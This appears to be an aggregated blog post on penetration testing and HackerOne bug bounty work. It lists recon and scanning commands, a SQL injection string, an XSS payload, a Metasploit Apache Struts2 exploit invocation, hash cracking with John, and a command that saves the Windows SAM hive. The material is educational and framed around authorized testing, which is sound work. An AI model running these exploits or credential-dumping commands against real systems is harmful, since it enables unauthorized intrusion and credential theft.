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Penetration testing and bug hunting are critical skills in cybersecurity, allowing professionals to identify vulnerabilities before malicious actors exploit them. Platforms like HackerOne provide opportunities for ethical hackers to report security flaws and earn rewards. Below are key techniques, commands, and steps for effective penetration testing and bug hunting.
You Should Know:
1. Reconnaissance & Enumeration
Before attacking, gather as much information as possible about the target.
Linux Commands:
Subdomain enumeration using Sublist3r sublist3r -d example.com -o subdomains.txt DNS enumeration with dig dig example.com ANY Port scanning with Nmap nmap -sV -A -T4 target.com
Windows Alternative (PowerShell):
DNS query Resolve-DnsName -Name example.com Port scanning with Test-NetConnection Test-NetConnection -ComputerName target.com -Port 80
2. Vulnerability Scanning
Automated tools help identify weaknesses.
Using Nikto for Web Scanning:
nikto -h https://example.com
Metasploit Framework:
msfconsole use auxiliary/scanner/http/dir_scanner set RHOSTS example.com run
3. Exploitation & Proof of Concept (PoC)
Once a vulnerability is found, craft an exploit.
SQL Injection Test:
' OR 1=1 --
XSS Payload:
<script>alert('XSS')</script>
Metasploit Exploit Example:
use exploit/multi/http/apache_struts2_rest_xstream set RHOSTS target.com set RPORT 8080 exploit
4. Reporting on HackerOne
Submit findings with:
- Clear vulnerability description.
- Steps to reproduce.
- Screenshots/videos.
- Suggested fixes.
What Undercode Say:
Penetration testing requires persistence, creativity, and deep knowledge of systems. Always follow ethical guidelines and legal boundaries. Below are additional useful commands:
Linux:
Check open ports ss -tulnp Network traffic analysis tcpdump -i eth0 -w capture.pcap Crack hashes with John john --format=sha256 hashes.txt
Windows:
Check listening ports netstat -ano Dump SAM hashes reg save HKLM\SAM sam.save
Prediction:
As cyber threats evolve, bug bounty programs will expand, requiring more automated tools and AI-assisted vulnerability detection. Ethical hackers must stay updated with the latest attack vectors.
Expected Output:
A well-documented vulnerability report with reproducible steps, PoC, and remediation advice.
Relevant URLs:
References:
Reported By: Kareem Husein – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
